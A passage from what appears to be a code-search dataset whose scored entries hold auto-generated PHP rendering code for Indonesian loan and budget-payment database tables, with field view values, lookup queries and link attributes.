\"\";\n\n\t\t\t// saldobekuminimal\n\t\t\t$this->saldobekuminimal->LinkCustomAttributes = \"\";\n\t\t\t$this->saldobekuminimal->HrefValue = \"\";\n\t\t\t$this->saldobekuminimal->TooltipValue = \"\";\n\n\t\t\t// plafond\n\t\t\t$this->plafond->LinkCustomAttributes = \"\";\n\t\t\t$this->plafond->HrefValue = \"\";\n\t\t\t$this->plafond->TooltipValue = \"\";\n\n\t\t\t// bunga\n\t\t\t$this->bunga->LinkCustomAttributes = \"\";\n\t\t\t$this->bunga->HrefValue = \"\";\n\t\t\t$this->bunga->TooltipValue = \"\";\n\n\t\t\t// bungapersen\n\t\t\t$this->bungapersen->LinkCustomAttributes = \"\";\n\t\t\t$this->bungapersen->HrefValue = \"\";\n\t\t\t$this->bungapersen->TooltipValue = \"\";\n\n\t\t\t// administrasi\n\t\t\t$this->administrasi->LinkCustomAttributes = \"\";\n\t\t\t$this->administrasi->HrefValue = \"\";\n\t\t\t$this->administrasi->TooltipValue = \"\";\n\n\t\t\t// administrasipersen\n\t\t\t$this->administrasipersen->LinkCustomAttributes = \"\";\n\t\t\t$this->administrasipersen->HrefValue = \"\";\n\t\t\t$this->administrasipersen->TooltipValue = \"\";\n\n\t\t\t// asuransi\n\t\t\t$this->asuransi->LinkCustomAttributes = \"\";\n\t\t\t$this->asuransi->HrefValue = \"\";\n\t\t\t$this->asuransi->TooltipValue = \"\";\n\n\t\t\t// notaris\n\t\t\t$this->notaris->LinkCustomAttributes = \"\";\n\t\t\t$this->notaris->HrefValue = \"\";\n\t\t\t$this->notaris->TooltipValue = \"\";\n\n\t\t\t// biayamaterai\n\t\t\t$this->biayamaterai->LinkCustomAttributes = \"\";\n\t\t\t$this->biayamaterai->HrefValue = \"\";\n\t\t\t$this->biayamaterai->TooltipValue = \"\";\n\n\t\t\t// potongansaldobeku\n\t\t\t$this->potongansaldobeku->LinkCustomAttributes = \"\";\n\t\t\t$this->potongansaldobeku->HrefValue = \"\";\n\t\t\t$this->potongansaldobeku->TooltipValue = \"\";\n\n\t\t\t// angsuranpokok\n\t\t\t$this->angsuranpokok->LinkCustomAttributes = \"\";\n\t\t\t$this->angsuranpokok->HrefValue = \"\";\n\t\t\t$this->angsuranpokok->TooltipValue = \"\";\n\n\t\t\t// angsuranpokokauto\n\t\t\t$this->angsuranpokokauto->LinkCustomAttributes = \"\";\n\t\t\t$this->angsuranpokokauto->HrefValue = \"\";\n\t\t\t$this->angsuranpokokauto->TooltipValue = \"\";\n\n\t\t\t// angsuranbunga\n\t\t\t$this->angsuranbunga->LinkCustomAttributes = \"\";\n\t\t\t$this->angsuranbunga->HrefValue = \"\";\n\t\t\t$this->angsuranbunga->TooltipValue = \"\";\n\n\t\t\t// angsuranbungaauto\n\t\t\t$this->angsuranbungaauto->LinkCustomAttributes = \"\";\n\t\t\t$this->angsuranbungaauto->HrefValue = \"\";\n\t\t\t$this->angsuranbungaauto->TooltipValue = \"\";\n\n\t\t\t// denda\n\t\t\t$this->denda->LinkCustomAttributes = \"\";\n\t\t\t$this->denda->HrefValue = \"\";\n\t\t\t$this->denda->TooltipValue = \"\";\n\n\t\t\t// dendapersen\n\t\t\t$this->dendapersen->LinkCustomAttributes = \"\";\n\t\t\t$this->dendapersen->HrefValue = \"\";\n\t\t\t$this->dendapersen->TooltipValue = \"\";\n\n\t\t\t// totalangsuran\n\t\t\t$this->totalangsuran->LinkCustomAttributes = \"\";\n\t\t\t$this->totalangsuran->HrefValue = \"\";\n\t\t\t$this->totalangsuran->TooltipValue = \"\";\n\n\t\t\t// totalangsuranauto\n\t\t\t$this->totalangsuranauto->LinkCustomAttributes = \"\";\n\t\t\t$this->totalangsuranauto->HrefValue = \"\";\n\t\t\t$this->totalangsuranauto->TooltipValue = \"\";\n\n\t\t\t// totalterima\n\t\t\t$this->totalterima->LinkCustomAttributes = \"\";\n\t\t\t$this->totalterima->HrefValue = \"\";\n\t\t\t$this->totalterima->TooltipValue = \"\";\n\n\t\t\t// totalterimaauto\n\t\t\t$this->totalterimaauto->LinkCustomAttributes = \"\";\n\t\t\t$this->totalterimaauto->HrefValue = \"\";\n\t\t\t$this->totalterimaauto->TooltipValue = \"\";\n\n\t\t\t// terbilang\n\t\t\t$this->terbilang->LinkCustomAttributes = \"\";\n\t\t\t$this->terbilang->HrefValue = \"\";\n\t\t\t$this->terbilang->TooltipValue = \"\";\n\n\t\t\t// petugas\n\t\t\t$this->petugas->LinkCustomAttributes = \"\";\n\t\t\t$this->petugas->HrefValue = \"\";\n\t\t\t$this->petugas->TooltipValue = \"\";\n\n\t\t\t// pembayaran\n\t\t\t$this->pembayaran->LinkCustomAttributes = \"\";\n\t\t\t$this->pembayaran->HrefValue = \"\";\n\t\t\t$this->pembayaran->TooltipValue = \"\";\n\n\t\t\t// bank\n\t\t\t$this->bank->LinkCustomAttributes = \"\";\n\t\t\t$this->bank->HrefValue = \"\";\n\t\t\t$this->bank->TooltipValue = \"\";\n\n\t\t\t// atasnama\n\t\t\t$this->atasnama->LinkCustomAttributes = \"\";\n\t\t\t$this->atasnama->HrefValue = \"\";\n\t\t\t$this->atasnama->TooltipValue = \"\";\n\n\t\t\t// tipe\n\t\t\t$this->tipe->LinkCustomAttributes = \"\";\n\t\t\t$this->tipe->HrefValue = \"\";\n\t\t\t$this->tipe->TooltipValue = \"\";\n\n\t\t\t// kantor\n\t\t\t$this->kantor->LinkCustomAttributes = \"\";\n\t\t\t$this->kantor->HrefValue = \"\";\n\t\t\t$this->kantor->TooltipValue = \"\";\n\n\t\t\t// keterangan\n\t\t\t$this->keterangan->LinkCustomAttributes = \"\";\n\t\t\t$this->keterangan->HrefValue = \"\";\n\t\t\t$this->keterangan->TooltipValue = \"\";\n\n\t\t\t// active\n\t\t\t$this->active->LinkCustomAttributes = \"\";\n\t\t\t$this->active->HrefValue = \"\";\n\t\t\t$this->active->TooltipValue = \"\";\n\n\t\t\t// ip\n\t\t\t$this->ip->LinkCustomAttributes = \"\";\n\t\t\t$this->ip->HrefValue = \"\";\n\t\t\t$this->ip->TooltipValue = \"\";\n\n\t\t\t// status\n\t\t\t$this->status->LinkCustomAttributes = \"\";\n\t\t\t$this->status->HrefValue = \"\";\n\t\t\t$this->status->TooltipValue = \"\";\n\n\t\t\t// user\n\t\t\t$this->user->LinkCustomAttributes = \"\";\n\t\t\t$this->user->HrefValue = \"\";\n\t\t\t$this->user->TooltipValue = \"\";\n\n\t\t\t// created\n\t\t\t$this->created->LinkCustomAttributes = \"\";\n\t\t\t$this->created->HrefValue = \"\";\n\t\t\t$this->created->TooltipValue = \"\";\n\n\t\t\t// modified\n\t\t\t$this->modified->LinkCustomAttributes = \"\";\n\t\t\t$this->modified->HrefValue = \"\";\n\t\t\t$this->modified->TooltipValue = \"\";\n\t\t}\n\n\t\t// Call Row Rendered event\n\t\tif ($this->RowType <> EW_ROWTYPE_AGGREGATEINIT)\n\t\t\t$this->Row_Rendered();\n\t}", "title": "" }, { "docid": "6e13bc7ed4749678b715a85ccf89d95d", "score": "0.60364777", "text": "public function values()\n\t{\n\t}", "title": "" }, { "docid": "eea2078ac2f9e0cb5f5d5b3a3764d292", "score": "0.6006618", "text": "public function preRender(&$values);", "title": "" }, { "docid": "6c1ab37173b4dc380540bb4e316f0611", "score": "0.5978819", "text": "function RenderRow() {\n\t\tglobal $Security, $Language, $gsLanguage;\n\n\t\t// Initialize URLs\n\t\t// Convert decimal values if posted back\n\n\t\tif ($this->jumlah_up->FormValue == $this->jumlah_up->CurrentValue && is_numeric(ew_StrToFloat($this->jumlah_up->CurrentValue)))\n\t\t\t$this->jumlah_up->CurrentValue = ew_StrToFloat($this->jumlah_up->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->jumlah_spd->FormValue == $this->jumlah_spd->CurrentValue && is_numeric(ew_StrToFloat($this->jumlah_spd->CurrentValue)))\n\t\t\t$this->jumlah_spd->CurrentValue = ew_StrToFloat($this->jumlah_spd->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->pph21->FormValue == $this->pph21->CurrentValue && is_numeric(ew_StrToFloat($this->pph21->CurrentValue)))\n\t\t\t$this->pph21->CurrentValue = ew_StrToFloat($this->pph21->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->pph22->FormValue == $this->pph22->CurrentValue && is_numeric(ew_StrToFloat($this->pph22->CurrentValue)))\n\t\t\t$this->pph22->CurrentValue = ew_StrToFloat($this->pph22->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->pph23->FormValue == $this->pph23->CurrentValue && is_numeric(ew_StrToFloat($this->pph23->CurrentValue)))\n\t\t\t$this->pph23->CurrentValue = ew_StrToFloat($this->pph23->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->pph4->FormValue == $this->pph4->CurrentValue && is_numeric(ew_StrToFloat($this->pph4->CurrentValue)))\n\t\t\t$this->pph4->CurrentValue = ew_StrToFloat($this->pph4->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->jumlah_belanja->FormValue == $this->jumlah_belanja->CurrentValue && is_numeric(ew_StrToFloat($this->jumlah_belanja->CurrentValue)))\n\t\t\t$this->jumlah_belanja->CurrentValue = ew_StrToFloat($this->jumlah_belanja->CurrentValue);\n\n\t\t// Call Row_Rendering event\n\t\t$this->Row_Rendering();\n\n\t\t// Common render codes for all row types\n\t\t// id\n\t\t// id_jenis_spp\n\t\t// detail_jenis_spp\n\t\t// status_spp\n\t\t// no_spp\n\t\t// tgl_spp\n\t\t// keterangan\n\t\t// jumlah_up\n\t\t// bendahara\n\t\t// nama_pptk\n\t\t// nip_pptk\n\t\t// status_spm\n\t\t// kode_kegiatan\n\t\t// kode_sub_kegiatan\n\t\t// tahun_anggaran\n\t\t// jumlah_spd\n\t\t// nomer_dasar_spd\n\t\t// tanggal_spd\n\t\t// id_spd\n\t\t// kode_program\n\t\t// kode_rekening\n\t\t// nama_bendahara\n\t\t// nip_bendahara\n\t\t// no_spm\n\t\t// tgl_spm\n\t\t// nama_bank\n\t\t// nomer_rekening_bank\n\t\t// npwp\n\t\t// pph21\n\t\t// pph22\n\t\t// pph23\n\t\t// pph4\n\t\t// jumlah_belanja\n\t\t// kontrak_id\n\t\t// akun1\n\t\t// akun2\n\t\t// akun3\n\t\t// akun4\n\t\t// akun5\n\t\t// pimpinan_blud\n\t\t// nip_pimpinan\n\t\t// opd\n\t\t// urusan_pemerintahan\n\t\t// tgl_sptb\n\t\t// no_sptb\n\t\t// status_advis\n\t\t// id_spj\n\n\t\tif ($this->RowType == EW_ROWTYPE_VIEW) { // View row\n\n\t\t// id\n\t\t$this->id->ViewValue = $this->id->CurrentValue;\n\t\t$this->id->ViewCustomAttributes = \"\";\n\n\t\t// id_jenis_spp\n\t\tif (strval($this->id_jenis_spp->CurrentValue) <> \"\") {\n\t\t\t$sFilterWrk = \"`id`\" . ew_SearchString(\"=\", $this->id_jenis_spp->CurrentValue, EW_DATATYPE_NUMBER, \"\");\n\t\t$sSqlWrk = \"SELECT `id`, `jenis_spp` AS `DispFld`, '' AS `Disp2Fld`, '' AS `Disp3Fld`, '' AS `Disp4Fld` FROM `l_jenis_spp`\";\n\t\t$sWhereWrk = \"\";\n\t\t$this->id_jenis_spp->LookupFilters = array();\n\t\tew_AddFilter($sWhereWrk, $sFilterWrk);\n\t\t$this->Lookup_Selecting($this->id_jenis_spp, $sWhereWrk); // Call Lookup selecting\n\t\tif ($sWhereWrk <> \"\") $sSqlWrk .= \" WHERE \" . $sWhereWrk;\n\t\t\t$rswrk = Conn()->Execute($sSqlWrk);\n\t\t\tif ($rswrk && !$rswrk->EOF) { // Lookup values found\n\t\t\t\t$arwrk = array();\n\t\t\t\t$arwrk[1] = $rswrk->fields('DispFld');\n\t\t\t\t$this->id_jenis_spp->ViewValue = $this->id_jenis_spp->DisplayValue($arwrk);\n\t\t\t\t$rswrk->Close();\n\t\t\t} else {\n\t\t\t\t$this->id_jenis_spp->ViewValue = $this->id_jenis_spp->CurrentValue;\n\t\t\t}\n\t\t} else {\n\t\t\t$this->id_jenis_spp->ViewValue = NULL;\n\t\t}\n\t\t$this->id_jenis_spp->ViewCustomAttributes = \"\";\n\n\t\t// detail_jenis_spp\n\t\tif (strval($this->detail_jenis_spp->CurrentValue) <> \"\") {\n\t\t\t$sFilterWrk = \"`id`\" . ew_SearchString(\"=\", $this->detail_jenis_spp->CurrentValue, EW_DATATYPE_NUMBER, \"\");\n\t\t$sSqlWrk = \"SELECT `id`, `detail_jenis_spp` AS `DispFld`, '' AS `Disp2Fld`, '' AS `Disp3Fld`, '' AS `Disp4Fld` FROM `l_jenis_detail_spp`\";\n\t\t$sWhereWrk = \"\";\n\t\t$this->detail_jenis_spp->LookupFilters = array();\n\t\tew_AddFilter($sWhereWrk, $sFilterWrk);\n\t\t$this->Lookup_Selecting($this->detail_jenis_spp, $sWhereWrk); // Call Lookup selecting\n\t\tif ($sWhereWrk <> \"\") $sSqlWrk .= \" WHERE \" . $sWhereWrk;\n\t\t\t$rswrk = Conn()->Execute($sSqlWrk);\n\t\t\tif ($rswrk && !$rswrk->EOF) { // Lookup values found\n\t\t\t\t$arwrk = array();\n\t\t\t\t$arwrk[1] = $rswrk->fields('DispFld');\n\t\t\t\t$this->detail_jenis_spp->ViewValue = $this->detail_jenis_spp->DisplayValue($arwrk);\n\t\t\t\t$rswrk->Close();\n\t\t\t} else {\n\t\t\t\t$this->detail_jenis_spp->ViewValue = $this->detail_jenis_spp->CurrentValue;\n\t\t\t}\n\t\t} else {\n\t\t\t$this->detail_jenis_spp->ViewValue = NULL;\n\t\t}\n\t\t$this->detail_jenis_spp->ViewCustomAttributes = \"\";\n\n\t\t// status_spp\n\t\tif (strval($this->status_spp->CurrentValue) <> \"\") {\n\t\t\t$this->status_spp->ViewValue = $this->status_spp->OptionCaption($this->status_spp->CurrentValue);\n\t\t} else {\n\t\t\t$this->status_spp->ViewValue = NULL;\n\t\t}\n\t\t$this->status_spp->ViewCustomAttributes = \"\";\n\n\t\t// no_spp\n\t\t$this->no_spp->ViewValue = $this->no_spp->CurrentValue;\n\t\t$this->no_spp->ViewCustomAttributes = \"\";\n\n\t\t// tgl_spp\n\t\t$this->tgl_spp->ViewValue = $this->tgl_spp->CurrentValue;\n\t\t$this->tgl_spp->ViewValue = ew_FormatDateTime($this->tgl_spp->ViewValue, 7);\n\t\t$this->tgl_spp->ViewCustomAttributes = \"\";\n\n\t\t// keterangan\n\t\t$this->keterangan->ViewValue = $this->keterangan->CurrentValue;\n\t\t$this->keterangan->ViewCustomAttributes = \"\";\n\n\t\t// jumlah_up\n\t\t$this->jumlah_up->ViewValue = $this->jumlah_up->CurrentValue;\n\t\t$this->jumlah_up->ViewCustomAttributes = \"\";\n\n\t\t// bendahara\n\t\t$this->bendahara->ViewValue = $this->bendahara->CurrentValue;\n\t\t$this->bendahara->ViewCustomAttributes = \"\";\n\n\t\t// nama_pptk\n\t\t$this->nama_pptk->ViewValue = $this->nama_pptk->CurrentValue;\n\t\t$this->nama_pptk->ViewCustomAttributes = \"\";\n\n\t\t// nip_pptk\n\t\t$this->nip_pptk->ViewValue = $this->nip_pptk->CurrentValue;\n\t\t$this->nip_pptk->ViewCustomAttributes = \"\";\n\n\t\t// status_spm\n\t\t$this->status_spm->ViewValue = $this->status_spm->CurrentValue;\n\t\t$this->status_spm->ViewCustomAttributes = \"\";\n\n\t\t// kode_kegiatan\n\t\t$this->kode_kegiatan->ViewValue = $this->kode_kegiatan->CurrentValue;\n\t\t$this->kode_kegiatan->ViewCustomAttributes = \"\";\n\n\t\t// kode_sub_kegiatan\n\t\t$this->kode_sub_kegiatan->ViewValue = $this->kode_sub_kegiatan->CurrentValue;\n\t\t$this->kode_sub_kegiatan->ViewCustomAttributes = \"\";\n\n\t\t// tahun_anggaran\n\t\t$this->tahun_anggaran->ViewValue = $this->tahun_anggaran->CurrentValue;\n\t\t$this->tahun_anggaran->ViewCustomAttributes = \"\";\n\n\t\t// jumlah_spd\n\t\t$this->jumlah_spd->ViewValue = $this->jumlah_spd->CurrentValue;\n\t\t$this->jumlah_spd->ViewCustomAttributes = \"\";\n\n\t\t// nomer_dasar_spd\n\t\t$this->nomer_dasar_spd->ViewValue = $this->nomer_dasar_spd->CurrentValue;\n\t\t$this->nomer_dasar_spd->ViewCustomAttributes = \"\";\n\n\t\t// tanggal_spd\n\t\t$this->tanggal_spd->ViewValue = $this->tanggal_spd->CurrentValue;\n\t\t$this->tanggal_spd->ViewValue = ew_FormatDateTime($this->tanggal_spd->ViewValue, 0);\n\t\t$this->tanggal_spd->ViewCustomAttributes = \"\";\n\n\t\t// id_spd\n\t\t$this->id_spd->ViewValue = $this->id_spd->CurrentValue;\n\t\t$this->id_spd->ViewCustomAttributes = \"\";\n\n\t\t// kode_program\n\t\t$this->kode_program->ViewValue = $this->kode_program->CurrentValue;\n\t\t$this->kode_program->ViewCustomAttributes = \"\";\n\n\t\t// kode_rekening\n\t\t$this->kode_rekening->ViewValue = $this->kode_rekening->CurrentValue;\n\t\t$this->kode_rekening->ViewCustomAttributes = \"\";\n\n\t\t// nama_bendahara\n\t\t$this->nama_bendahara->ViewValue = $this->nama_bendahara->CurrentValue;\n\t\t$this->nama_bendahara->ViewCustomAttributes = \"\";\n\n\t\t// nip_bendahara\n\t\t$this->nip_bendahara->ViewValue = $this->nip_bendahara->CurrentValue;\n\t\t$this->nip_bendahara->ViewCustomAttributes = \"\";\n\n\t\t// no_spm\n\t\t$this->no_spm->ViewValue = $this->no_spm->CurrentValue;\n\t\t$this->no_spm->ViewCustomAttributes = \"\";\n\n\t\t// tgl_spm\n\t\t$this->tgl_spm->ViewValue = $this->tgl_spm->CurrentValue;\n\t\t$this->tgl_spm->ViewCustomAttributes = \"\";\n\n\t\t// nama_bank\n\t\t$this->nama_bank->ViewValue = $this->nama_bank->CurrentValue;\n\t\t$this->nama_bank->ViewCustomAttributes = \"\";\n\n\t\t// nomer_rekening_bank\n\t\t$this->nomer_rekening_bank->ViewValue = $this->nomer_rekening_bank->CurrentValue;\n\t\t$this->nomer_rekening_bank->ViewCustomAttributes = \"\";\n\n\t\t// npwp\n\t\t$this->npwp->ViewValue = $this->npwp->CurrentValue;\n\t\t$this->npwp->ViewCustomAttributes = \"\";\n\n\t\t// pph21\n\t\t$this->pph21->ViewValue = $this->pph21->CurrentValue;\n\t\t$this->pph21->ViewCustomAttributes = \"\";\n\n\t\t// pph22\n\t\t$this->pph22->ViewValue = $this->pph22->CurrentValue;\n\t\t$this->pph22->ViewCustomAttributes = \"\";\n\n\t\t// pph23\n\t\t$this->pph23->ViewValue = $this->pph23->CurrentValue;\n\t\t$this->pph23->ViewCustomAttributes = \"\";\n\n\t\t// pph4\n\t\t$this->pph4->ViewValue = $this->pph4->CurrentValue;\n\t\t$this->pph4->ViewCustomAttributes = \"\";\n\n\t\t// jumlah_belanja\n\t\t$this->jumlah_belanja->ViewValue = $this->jumlah_belanja->CurrentValue;\n\t\t$this->jumlah_belanja->ViewCustomAttributes = \"\";\n\n\t\t// kontrak_id\n\t\t$this->kontrak_id->ViewValue = $this->kontrak_id->CurrentValue;\n\t\t$this->kontrak_id->ViewCustomAttributes = \"\";\n\n\t\t// akun1\n\t\t$this->akun1->ViewValue = $this->akun1->CurrentValue;\n\t\t$this->akun1->ViewCustomAttributes = \"\";\n\n\t\t// akun2\n\t\t$this->akun2->ViewValue = $this->akun2->CurrentValue;\n\t\t$this->akun2->ViewCustomAttributes = \"\";\n\n\t\t// akun3\n\t\t$this->akun3->ViewValue = $this->akun3->CurrentValue;\n\t\t$this->akun3->ViewCustomAttributes = \"\";\n\n\t\t// akun4\n\t\t$this->akun4->ViewValue = $this->akun4->CurrentValue;\n\t\t$this->akun4->ViewCustomAttributes = \"\";\n\n\t\t// akun5\n\t\t$this->akun5->ViewValue = $this->akun5->CurrentValue;\n\t\t$this->akun5->ViewCustomAttributes = \"\";\n\n\t\t// pimpinan_blud\n\t\t$this->pimpinan_blud->ViewValue = $this->pimpinan_blud->CurrentValue;\n\t\t$this->pimpinan_blud->ViewCustomAttributes = \"\";\n\n\t\t// nip_pimpinan\n\t\t$this->nip_pimpinan->ViewValue = $this->nip_pimpinan->CurrentValue;\n\t\t$this->nip_pimpinan->ViewCustomAttributes = \"\";\n\n\t\t// opd\n\t\t$this->opd->ViewValue = $this->opd->CurrentValue;\n\t\t$this->opd->ViewCustomAttributes = \"\";\n\n\t\t// urusan_pemerintahan\n\t\t$this->urusan_pemerintahan->ViewValue = $this->urusan_pemerintahan->CurrentValue;\n\t\t$this->urusan_pemerintahan->ViewCustomAttributes = \"\";\n\n\t\t// tgl_sptb\n\t\t$this->tgl_sptb->ViewValue = $this->tgl_sptb->CurrentValue;\n\t\t$this->tgl_sptb->ViewValue = ew_FormatDateTime($this->tgl_sptb->ViewValue, 0);\n\t\t$this->tgl_sptb->ViewCustomAttributes = \"\";\n\n\t\t// no_sptb\n\t\t$this->no_sptb->ViewValue = $this->no_sptb->CurrentValue;\n\t\t$this->no_sptb->ViewCustomAttributes = \"\";\n\n\t\t// status_advis\n\t\t$this->status_advis->ViewValue = $this->status_advis->CurrentValue;\n\t\t$this->status_advis->ViewCustomAttributes = \"\";\n\n\t\t// id_spj\n\t\t$this->id_spj->ViewValue = $this->id_spj->CurrentValue;\n\t\t$this->id_spj->ViewCustomAttributes = \"\";\n\n\t\t\t// id\n\t\t\t$this->id->LinkCustomAttributes = \"\";\n\t\t\t$this->id->HrefValue = \"\";\n\t\t\t$this->id->TooltipValue = \"\";\n\n\t\t\t// id_jenis_spp\n\t\t\t$this->id_jenis_spp->LinkCustomAttributes = \"\";\n\t\t\t$this->id_jenis_spp->HrefValue = \"\";\n\t\t\t$this->id_jenis_spp->TooltipValue = \"\";\n\n\t\t\t// detail_jenis_spp\n\t\t\t$this->detail_jenis_spp->LinkCustomAttributes = \"\";\n\t\t\t$this->detail_jenis_spp->HrefValue = \"\";\n\t\t\t$this->detail_jenis_spp->TooltipValue = \"\";\n\n\t\t\t// status_spp\n\t\t\t$this->status_spp->LinkCustomAttributes = \"\";\n\t\t\t$this->status_spp->HrefValue = \"\";\n\t\t\t$this->status_spp->TooltipValue = \"\";\n\n\t\t\t// no_spp\n\t\t\t$this->no_spp->LinkCustomAttributes = \"\";\n\t\t\t$this->no_spp->HrefValue = \"\";\n\t\t\t$this->no_spp->TooltipValue = \"\";\n\n\t\t\t// tgl_spp\n\t\t\t$this->tgl_spp->LinkCustomAttributes = \"\";\n\t\t\t$this->tgl_spp->HrefValue = \"\";\n\t\t\t$this->tgl_spp->TooltipValue = \"\";\n\n\t\t\t// keterangan\n\t\t\t$this->keterangan->LinkCustomAttributes = \"\";\n\t\t\t$this->keterangan->HrefValue = \"\";\n\t\t\t$this->keterangan->TooltipValue = \"\";\n\n\t\t\t// jumlah_up\n\t\t\t$this->jumlah_up->LinkCustomAttributes = \"\";\n\t\t\t$this->jumlah_up->HrefValue = \"\";\n\t\t\t$this->jumlah_up->TooltipValue = \"\";\n\n\t\t\t// bendahara\n\t\t\t$this->bendahara->LinkCustomAttributes = \"\";\n\t\t\t$this->bendahara->HrefValue = \"\";\n\t\t\t$this->bendahara->TooltipValue = \"\";\n\n\t\t\t// nama_pptk\n\t\t\t$this->nama_pptk->LinkCustomAttributes = \"\";\n\t\t\t$this->nama_pptk->HrefValue = \"\";\n\t\t\t$this->nama_pptk->TooltipValue = \"\";\n\n\t\t\t// nip_pptk\n\t\t\t$this->nip_pptk->LinkCustomAttributes = \"\";\n\t\t\t$this->nip_pptk->HrefValue = \"\";\n\t\t\t$this->nip_pptk->TooltipValue = \"\";\n\n\t\t\t// status_spm\n\t\t\t$this->status_spm->LinkCustomAttributes = \"\";\n\t\t\t$this->status_spm->HrefValue = \"\";\n\t\t\t$this->status_spm->TooltipValue = \"\";\n\n\t\t\t// kode_kegiatan\n\t\t\t$this->kode_kegiatan->LinkCustomAttributes = \"\";\n\t\t\t$this->kode_kegiatan->HrefValue = \"\";\n\t\t\t$this->kode_kegiatan->TooltipValue = \"\";\n\n\t\t\t// kode_sub_kegiatan\n\t\t\t$this->kode_sub_kegiatan->LinkCustomAttributes = \"\";\n\t\t\t$this->kode_sub_kegiatan->HrefValue = \"\";\n\t\t\t$this->kode_sub_kegiatan->TooltipValue = \"\";\n\n\t\t\t// tahun_anggaran\n\t\t\t$this->tahun_anggaran->LinkCustomAttributes = \"\";\n\t\t\t$this->tahun_anggaran->HrefValue = \"\";\n\t\t\t$this->tahun_anggaran->TooltipValue = \"\";\n\n\t\t\t// jumlah_spd\n\t\t\t$this->jumlah_spd->LinkCustomAttributes = \"\";\n\t\t\t$this->jumlah_spd->HrefValue = \"\";\n\t\t\t$this->jumlah_spd->TooltipValue = \"\";\n\n\t\t\t// nomer_dasar_spd\n\t\t\t$this->nomer_dasar_spd->LinkCustomAttributes = \"\";\n\t\t\t$this->nomer_dasar_spd->HrefValue = \"\";\n\t\t\t$this->nomer_dasar_spd->TooltipValue = \"\";\n\n\t\t\t// tanggal_spd\n\t\t\t$this->tanggal_spd->LinkCustomAttributes = \"\";\n\t\t\t$this->tanggal_spd->HrefValue = \"\";\n\t\t\t$this->tanggal_spd->TooltipValue = \"\";\n\n\t\t\t// id_spd\n\t\t\t$this->id_spd->LinkCustomAttributes = \"\";\n\t\t\t$this->id_spd->HrefValue = \"\";\n\t\t\t$this->id_spd->TooltipValue = \"\";\n\n\t\t\t// kode_program\n\t\t\t$this->kode_program->LinkCustomAttributes = \"\";\n\t\t\t$this->kode_program->HrefValue = \"\";\n\t\t\t$this->kode_program->TooltipValue = \"\";\n\n\t\t\t// kode_rekening\n\t\t\t$this->kode_rekening->LinkCustomAttributes = \"\";\n\t\t\t$this->kode_rekening->HrefValue = \"\";\n\t\t\t$this->kode_rekening->TooltipValue = \"\";\n\n\t\t\t// nama_bendahara\n\t\t\t$this->nama_bendahara->LinkCustomAttributes = \"\";\n\t\t\t$this->nama_bendahara->HrefValue = \"\";\n\t\t\t$this->nama_bendahara->TooltipValue = \"\";\n\n\t\t\t// nip_bendahara\n\t\t\t$this->nip_bendahara->LinkCustomAttributes = \"\";\n\t\t\t$this->nip_bendahara->HrefValue = \"\";\n\t\t\t$this->nip_bendahara->TooltipValue = \"\";\n\n\t\t\t// no_spm\n\t\t\t$this->no_spm->LinkCustomAttributes = \"\";\n\t\t\t$this->no_spm->HrefValue = \"\";\n\t\t\t$this->no_spm->TooltipValue = \"\";\n\n\t\t\t// tgl_spm\n\t\t\t$this->tgl_spm->LinkCustomAttributes = \"\";\n\t\t\t$this->tgl_spm->HrefValue = \"\";\n\t\t\t$this->tgl_spm->TooltipValue = \"\";\n\n\t\t\t// nama_bank\n\t\t\t$this->nama_bank->LinkCustomAttributes = \"\";\n\t\t\t$this->nama_bank->HrefValue = \"\";\n\t\t\t$this->nama_bank->TooltipValue = \"\";\n\n\t\t\t// nomer_rekening_bank\n\t\t\t$this->nomer_rekening_bank->LinkCustomAttributes = \"\";\n\t\t\t$this->nomer_rekening_bank->HrefValue = \"\";\n\t\t\t$this->nomer_rekening_bank->TooltipValue = \"\";\n\n\t\t\t// npwp\n\t\t\t$this->npwp->LinkCustomAttributes = \"\";\n\t\t\t$this->npwp->HrefValue = \"\";\n\t\t\t$this->npwp->TooltipValue = \"\";\n\n\t\t\t// pph21\n\t\t\t$this->pph21->LinkCustomAttributes = \"\";\n\t\t\t$this->pph21->HrefValue = \"\";\n\t\t\t$this->pph21->TooltipValue = \"\";\n\n\t\t\t// pph22\n\t\t\t$this->pph22->LinkCustomAttributes = \"\";\n\t\t\t$this->pph22->HrefValue = \"\";\n\t\t\t$this->pph22->TooltipValue = \"\";\n\n\t\t\t// pph23\n\t\t\t$this->pph23->LinkCustomAttributes = \"\";\n\t\t\t$this->pph23->HrefValue = \"\";\n\t\t\t$this->pph23->TooltipValue = \"\";\n\n\t\t\t// pph4\n\t\t\t$this->pph4->LinkCustomAttributes = \"\";\n\t\t\t$this->pph4->HrefValue = \"\";\n\t\t\t$this->pph4->TooltipValue = \"\";\n\n\t\t\t// jumlah_belanja\n\t\t\t$this->jumlah_belanja->LinkCustomAttributes = \"\";\n\t\t\t$this->jumlah_belanja->HrefValue = \"\";\n\t\t\t$this->jumlah_belanja->TooltipValue = \"\";\n\n\t\t\t// kontrak_id\n\t\t\t$this->kontrak_id->LinkCustomAttributes = \"\";\n\t\t\t$this->kontrak_id->HrefValue = \"\";\n\t\t\t$this->kontrak_id->TooltipValue = \"\";\n\n\t\t\t// akun1\n\t\t\t$this->akun1->LinkCustomAttributes = \"\";\n\t\t\t$this->akun1->HrefValue = \"\";\n\t\t\t$this->akun1->TooltipValue = \"\";\n\n\t\t\t// akun2\n\t\t\t$this->akun2->LinkCustomAttributes = \"\";\n\t\t\t$this->akun2->HrefValue = \"\";\n\t\t\t$this->akun2->TooltipValue = \"\";\n\n\t\t\t// akun3\n\t\t\t$this->akun3->LinkCustomAttributes = \"\";\n\t\t\t$this->akun3->HrefValue = \"\";\n\t\t\t$this->akun3->TooltipValue = \"\";\n\n\t\t\t// akun4\n\t\t\t$this->akun4->LinkCustomAttributes = \"\";\n\t\t\t$this->akun4->HrefValue = \"\";\n\t\t\t$this->akun4->TooltipValue = \"\";\n\n\t\t\t// akun5\n\t\t\t$this->akun5->LinkCustomAttributes = \"\";\n\t\t\t$this->akun5->HrefValue = \"\";\n\t\t\t$this->akun5->TooltipValue = \"\";\n\n\t\t\t// pimpinan_blud\n\t\t\t$this->pimpinan_blud->LinkCustomAttributes = \"\";\n\t\t\t$this->pimpinan_blud->HrefValue = 